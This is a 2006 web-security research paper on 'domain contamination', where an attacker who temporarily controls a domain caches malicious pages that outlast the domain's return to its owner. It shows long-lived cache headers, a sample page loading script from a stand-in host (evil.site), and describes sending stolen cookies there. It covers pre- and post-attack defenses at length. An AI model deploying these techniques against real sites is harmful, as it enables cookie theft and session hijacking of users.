Contributors

Robert Auger*
Sverre H. Huseby
Mike Sues
Mitja Kolsek
Sverre H. Huseby
*Project Leader



Domain Contamination
By Amit Klein ( aksecurity (at) hotpop (dot) com )
Version 0.6
Last Modified: 1/31/2006


[TEXT] size: 24k (MD5 SUM: 7abded0256f6b19d29ba6575460fecd9)


Abstract

This brief write-up describes an attack that exploits an inherent flaw of the client-side trust model in the context of cyber-squatting and domain hijacking, or in general, in the context of obtaining temporary ownership of a domain (or major parts of it, e.g. defacing the main page). Put simply, the idea explored is to force long term caching of malicious pages in order for them to still be in effect even when the domain returns to its rightful owner. Various attack vectors are discussed, as well as possible protection techniques. While previous works hinted at the possibility of such attack, it is worthwhile to discuss this attack in depth and to refute the common misconception that cyber-squatting, domain hijacking and similar attacks do not have long lasting effect.

Audience

Since part of the material is considered to be of certain novelty, yet is not too technical or too obscure, the audience comprises of:

- Security experts
- Sys Admins
- Management
- Developers

Introduction and background

Of interest to this write-up is a scenario wherein a domain (the example that will serve us throughout this write-up is "vuln.site") is temporarily under the control of an attacker. That is, the attacker is able to serve (or to cause serving) the entry point to the web site (denoted as "home page") of a host (or several hosts) in the given domain (e.g. www.vuln.site, with home page defined to be http://www.vuln.site/). Until today, the assumption was, that once the attack is over, i.e. once the domain is (back) in control of its rightful owner, or when the defaced home page is restored to its original form, the attack is over and practically no long terms effects remain. This write-up shows that a sophisticated attacker can inflict long lasting damage that takes effect long after the domain/page is restored. This direction is hinted in [1], [2] and [3], but until this write-up, was not fully discussed.

The prerequisite for this attack is therefore that an attacker can fully control the content of the "home page" (or any other popular page) on a host in the domain. This can be achieved via the following attacks:

Cyber-squatting: the attacker registers a domain that would later be transferred to another party (either by that party filing claims on the domain, or by selling the domain).

Domain hijacking: the attacker gets hold of a domain already registered for another party, using an attack such as social engineering, hacking DNS servers, or DNS cache poisoning.

Defacement: the attacker hacks into a server that hosts a website in the domain, and replaces the content of the main page with his/her own version.

Web cache poisoning: the attacker can place poisoned versions of the home page of www.vuln.site in various web cache servers (see [1] and [3]).

Attack outline

The attack is pretty simple: the attacker, once gaining control of the domain, entices as many clients to browse to the malicious page (http://www.vuln.site/). This page will be served by the attacker in such manner that it will be cached for as long as possible by the clients (browsers, possibly also proxy servers through which the clients surf the web, possibly also any reverse proxy employed by the site, any forward proxy that the attacker has access to, and of course, any cache server the attacker poisons in order to realize the attack).

Caching is controlled via either explicit HTTP headers, or HTML META tag virtual HTTP headers. In any case, including the following headers would make the data cacheable for a long time:


Cache-Control: public
Expires: Wed, 01 Jan 2020 00:00:00 GMT
Last-Modified: Fri, 01 Jan 2010 00:00:00 GMT

Now that http://www.vuln.site/ is cached "forever" at the browser with malicious content, this content will be rendered each time the browser is pointed at http://www.vuln.site/ even after the domain or server content is restored. This was verified with MSIE 6.0 SP2.

To illustrate what can be done, consider a simple HTML page that loads Javascript code from the attacker's server:

<html>
<body>
<script src="http://www.evil.site/attack.js"></script>
</body>
</html>

As long as the domain/server remains in the hands of the attacker, the script contents, http://www.evil.site/attack.js, may be dormant (do nothing), or even subtler, e.g. redirect the victim to another site, e.g. a genuine one owned by the same organization that is (or will be) the owner of vuln.site. Once vuln.site is transferred to its rightful owner, the attacker can switch http://www.evil.site/attack.js to perform malicious activities, as will be discussed below.

Numerous options

Once the attacker has a cached page in the vuln.site domain in the victim's browser (or proxy server), which is likely to be the first page loaded by the victim, the attacker can mount several attacks:

- Information/credential stealing

The attacker can record cookies that the victim has in the vuln.site domain (more accurately, those accessible to the scope in which the malicious page resides). So each time the victim loads the cached page, the attacker's script will collect the cookies, send them to www.evil.site, and redirect the victim to http://www.vuln.site/?random_string_here. This will ensure that the victim will immediately receive the home-page as intended to be rendered, from the www.vuln.site server.

Likewise, it's possible for the attacker to keep a small/invisible window, while redirecting the main window to http://www.vuln.site/?random_string_here. Then, the attacker can collect cookies and read data off pages (from www.vuln.site only) throughout the victim's session.

- Setting cookies and Session fixation attack

The script can set permanent cookie that will expire long into the future. This allows some forms of attacks through cookies, as well as the session fixation attack [4]. An interesting idea is to set a permanent cookie with a random name (set at the browser side) - it will be very hard to delete this cookie (unless the browser is instructed to delete all cookies). If the server attempts to read or parse all cookies, such poison cookie may come into play.

It should be noted that this kind of attack (setting cookies) is possible even in weaker attacks, such as cross site scripting and response header manipulation via CRLF injection.

- Man-In-The-Middle

The attacker can load original content from the real website (www.vuln.site) inside a frame, changing the HTML page before it is rendered, and as such implement a man-in-the-middle attack (the malicious Javascript code and the malicious cache page serve as the man-in-the-middle in this case). Note that by using the XmlHttpRequest object, the attacker can get hold of the raw HTML data before it is rendered by the browser - this renders some defense mechanisms useless.

Attack Longevity

The attack "lives" in various cache repositories. As such, every attempt by the cache operator to revalidate the poisoned cache (by sending a conditional request) may jeopardize the attack (for this particular cache repository).

Certain cache proxy servers may revalidate a fresh cache entry from time to time. Also, Microsoft's documentation for the default cache settings in Microsoft Internet Explorer ("Check for newer versions of stored pages" set to "Automatically") is inconsistent regarding whether cached resources are validated (using a conditional request, using If-Modified-Since and/or If-None-Match). According to [5], no such validation occurs for fresh cache entries, even if long time has elapsed. According to [6], validation is likely to occur for HTML resources if more than a day has elapsed since they were last fetched/validated. The author's experiments tend to agree with [5], i.e. that MSIE will generally not validate the cached resource (at least not when an Expires header is provided with a date set to the far future), and use it directly from its cache, although an occasional validation request was observed (infrequently).

Furthermore, a browser user may actively cause a cache revalidation, e.g. by pressing the Refresh button.

Finally, a browser user may configure the browser to revalidate the cached pages on every browser session or on every usage (see [6]).

It is, therefore, in the best interest of the attacker not to include an ETag response header with the poisoned page, and set the Last-Modified date to a date in the far future (as in the above example). This will cause the browser to send revalidation requests only with "If-Modified-Since" (not with "If-None-Match") , and if the genuine resource has a modification date earlier than the one provided by the browser (which is the normal scenario), the web server will respond with a "304" response status ("unmodified"), thus instructing the browser to further retain the poisoned page. However, if the attacker prefers stealth-ness, then the response should copy the genuine page's Last-Modified and/or ETag values, if such page exists.

Of course, a browser user can simply erase all the cache directly (modern browsers enable this in one click), or indirectly (Microsoft Internet Explorer has an option to erase the cache upon exiting the browser - this option, called "Empty Temporary Internet Files folder when browser is closed" is turned on by default for Windows/2003. see [7]). In such case, the attack on this browser will be undone as of the moment the cache was erased.

Pre-Attack Defenses

* If possible, use SSL only (HTTPS only) access to the web site. SSL thwarts those attacks in which the attacker has no access (direct or indirect) to a valid SSL certificate for the host/domain. So DNS hijacking and web cache poisoning are covered, while classic defacement is still a problem, and possibly cyber-squatting too (if the attacker is issued a valid certificate).

* Just in case proxy servers and/or clients occasionally attempt to revalidate the poisoned page, it would be a good idea to never respond with an HTTP status 304, i.e. force an HTTP status 200, on each entry point page in the domain. It also makes sense to monitor the values of last modification and ETag provided (via If-Modified-Since and If-None-Match respectively) and if they do not match the values historically provided for this resource, it may indicate an attack in progress.

For some popular web servers, there are ready made facilities to force the server to ignore the If-Modified-Since HTTP request header. To quote from [2] (with the generous permission of its author, Mitja Kolsek):

  Internet Information services
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  We [Mitja Kolsek/ACROS Security - A.K.] wrote a
  simple, minimum overhead ISAPI filter (24 lines of
  code) that intercepts browsers' requests and removes
  any "If-Modified-Since" headers from it. The filter is
  available on our web site at
  http://www.acrossecurity.com/aspr/misc/if-modified-
  since-eliminator.zip (Visual C++ project)

  [Remember to always review the source code before using it!]

  Apache 1.3
  ~~~~~~~~~~
  Edi Weitz from Germany wrote a simple Apache module
  called mod_header_modify, specifically intended for
  changing incoming HTTP headers. This module can be
  used for eliminating "If-Modified-Since" headers from
  incoming requests using the following directives in
  httpd.conf:

  HeaderModify on
  HeaderModifyRemove If-Modified-Since

  mod_header_modify module can be downloaded from
  http://weitz.de/mod_header_modify.html
  Note: Apache must be built with DSO support.
 
  [Remember to always review the source code before using it!]

  Apache 2.0
  ~~~~~~~~~~
  Apache 2.0 already comes with mod_headers module.
  Rebuild Apache with this module included and use the
  following directive in httpd.conf:

  RequestHeader unset If-Modified-Since

It is advised to treat the If-None-Match HTTP request header in the same manner.

Post-Attack Defenses - The active approach

The assumption in this section is that the rightful owner of the domain is aware that such attack is taking place, either before the domain is restored, or soon thereafter. Furthermore, the site owner can contact all (or the vast majority) of the clients, e.g. via email.

The site owner needs to send an email to the clients, instructing them to click on a link. This link would be to a page untouched by the attacker (yet on the same host), which will refresh the URL that the attacker used (see above). The site owner can use XmlHttpRequest (via Javascript) to force refreshing both the browser and the proxy server caches. This can be done via a code (in http://www.vuln.site/new_page.html) such as this (assuming Microsoft Internet Explorer, tested with MSIE 6.0 SP2):

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET","http://www.vuln.site/",false);
x.setRequestHeader("If-None-Match","some-random-string");
x.setRequestHeader("Cache-Control","no-cache,max-age=0");
x.setRequestHeader("Pragma","no-cache");
x.send();
</script>
</body>
</html>

The first header, If-None-Match (with a random string) ensures that the browser doesn't load the data from its own cache, but rather, really attempts to fetch the data. The two cache headers (Pragma and Cache-Control) will then invalidate any cached entry in a cache server (at least the ones researched in [1]).

Another option, inferior to the above, is to use the HTTP Refresh header. In this case the server response for http://www.vuln.site/new_page.html should include the following HTTP response header:

Refresh: 0; URL=http://www.vuln.site/

The Refresh header forces the browser to refresh its cache from the server. The server (www.vuln.site) must be configured to return the legitimate copy of http://www.vuln.site/ unconditionally (that is, never to return an HTTP 304 response code for this resource).

Microsoft Internet Explorer, for example, even emits a "Pragma: no-cache" HTTP request header, together with the request (verified with MSIE 6.0 SP2). This may remove the cached entry from some cache servers.

Alternatively, the email may urge the user to manually erase the browser cache.

Post-Attack Defenses - The passive approach

The assumption in this section is that the rightful owner of the domain is aware that such attack is taking place, either before the domain is restored, or soon thereafter. However, the site owner cannot contact clients directly, and needs to wait for them to browse to the site.

In this case, a good idea is to shut down any external web-site that the malicious cached page loads data/script from (in the example above, www.evil.site). This simplifies the analysis of the problem. However, it is not always practical, and even so, some forms of attacks may be self contained and not require external sites.

Now, there are two problems that need to be handled:
1. The cached page
2. Any cookies set by the cached Page

The first step would be to remove the cached page from victims. If we assume that at one point, the cached page does allow (or initiate) a client interaction with www.vuln.site, e.g. going to a page such as http://www.vuln.site/?random_string_here, then this page should be modified to use one of the methods discussed in the previous section.

Note though that if the malicious page does not load the target page (http://www.vuln.site/?random_string_here) directly, but rather, uses XmlHttpRequest to get hold of the information in the page, then those methods are useless (including the Refresh trick), since the browser (at least in Microsoft Internet Explorer) in this case ignores the Refresh header and provides the page to the XmlHttpResponse object as-is.

Of course, if the malicious page reads Javascript code (or data that can affect code flow) from an external site such as http://www.evil.site/attack.js, and this site cannot be shut down, then it's a cat-and-mouse game between the rightful site owner and the attacker - in response to the above technique, the attacker can change the page to which the cached page redirects, and so forth. The attacker may in fact instruct the page not to load any page from the real site.

This is why it's important to analyze the attack and ensure that any sites/resources it reads data from are first shut down (this may be impractical in case the attacker goes through the pain of communicating with a blog-site/forum/... e.g. using talk-backs and comments).

Post-Attack Defenses - a general method

If the attack happens to involve (or to comprise solely of) poisoned pages which are not entry points, meaning, pages that are accessed via a flow that involves genuine pages from the web- site, then the flow can be easily modified to circumvent using the exact URLs of poisoned pages.

For example, if the site has http://www.vuln.site/ immediately redirecting the browser to http://www.vuln.site/app/index.html, and if only the latter page is poisoned, then the owner of the site needs simply to change the redirection into, say, http://www.vuln.site/app/index.html?foo=random_string_here. Alternatively, the owner can change the /app folder into something like /app_random_string_here, and redirect to http://www.vuln.site/app_random_string_here /index.html As long as these modifications cannot be predicted by the attacker (hence the use of a random string), this defense method should be easy to implement.

Post-Attack Defenses - Taking Care of the Cookies

After the malicious pages are removed from the browser's cache, the cookies that were set by the malicious page (if such cookies were set) need to be removed.

Any cookies set by the malicious page should ideally be deleted immediately (this can be done at the HTTP level or at the Javascript level, from any page on the same directory with the malicious page). If the full list is not known, then at least the set of cookies in used by the domain should be inspected carefully by any page before being used, and preferably be reset to a known safe configuration.

Another option is to ask the user to delete all cookies (this can be part of the email language, see above).

Thoughts about Generic Solutions

It may be a good idea to introduce one or more of the following techniques to the server-cache-browser world:
* Forced cache invalidation (complete/per-URL/per-domain) from the server, through the proxy, to the client. Ditto with cookies. Possible problems: should cache server "remember" this setting and serve it to clients at a later time? Also, what about domains and hosts which are owned by multiple entities?
* Domain versioning - the server will tag each response with a version number/string, this will automatically invalidate all cached data and cookies tagged with a different version. Again, what about domains and hosts that are not owned by a single entity?

Summary

In essence, the write-up demonstrates that defacement, domain hijacking, web cache poisoning and cyber-squatting, all have long term effect which may extend well after the web site is restored. This concept may be denoted as "domain contamination". The root cause is the fact that the client side domain security model takes the approach of "all or nothing" - if a resource arrives from the target domain, it is blindly and completely trusted (as belonging to the domain, and having the ability to access and set other domain resources) - forever, and without a simple revocation mechanism. A sophisticated attacker can exploit this flaw to mount various attacks (such as cross site scripting, session fixation, credentials scrapping, etc.) against users of the site whose browser/proxy server is affected. Defense against this technique is not trivial, and may depend on the sophistication of the attack, as well as on whether affected clients can be communicated with, and whether they are co- operative enough.


References

[1] "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics", Amit Klein, March 4th, 2004 http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[2] "ASPR #2004-10-13-1: Poisoning Cached HTTPS Documents in Internet Explorer", Mitja Kolsek (Acros Security), October 13th, 2004 http://www.acrossecurity.com/aspr/ASPR-2004-10-13-1-PUB.txt

[3] "HTTP Request Smuggling", Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, June 6th 2005 http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf

[4] "Session Fixation Vulnerability in Web-based Applications", Mitja Kolsek (Acros Security), December 18th, 2002 http://www.acrossecurity.com/papers/session_fixation.pdf

[5] "Fiddler PowerToy - Part 2: HTTP Performance" (sub-section "Conditional Requests and the WinInet Cache"), Eric Lawrence (Microsoft Corporation), June 2005 http://msdn.microsoft.com/library/en-us/dnwebgen/html/ie_introfiddler2.asp?frame=true#ie_introfiddler2_topic4

[6] "How Internet Explorer Cache Settings Affect Web Browsing" (sub-section "Description of the Cache Settings"), Microsoft Knowledge Base article 263070 http://support.microsoft.com/default.aspx?scid=kb;e n-us;263070#XSLTH3125121122120121120120

[7] "Enhanced Security Configuration for Internet Explorer" (sub- section "Advanced Settings"), Microsoft MSDN article http://msdn.microsoft.com/workshop/security/szone/overview/esc_changes.asp?frame=true#secure_advanced


About the author

Amit Klein is a renowned web application security researcher. Mr. Klein has written many research papers on various web application technologies--from HTTP to XML, SOAP and web services--and covered many topics--HTTP request smuggling, insecure indexing, blind XPath injection, HTTP response splitting, securing .NET web applications, cross site scripting, cookie poisoning and more. His works have been published in Dr. Dobb's Journal, SC Magazine, ISSA journal, and IT Audit journal; have been presented at SANS and CERT conferences; and are used and referenced in many academic syllabi.

Mr. Klein is a WASC (Web Application Security Consortium) officer.

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http://www.webappsec.org/articles/

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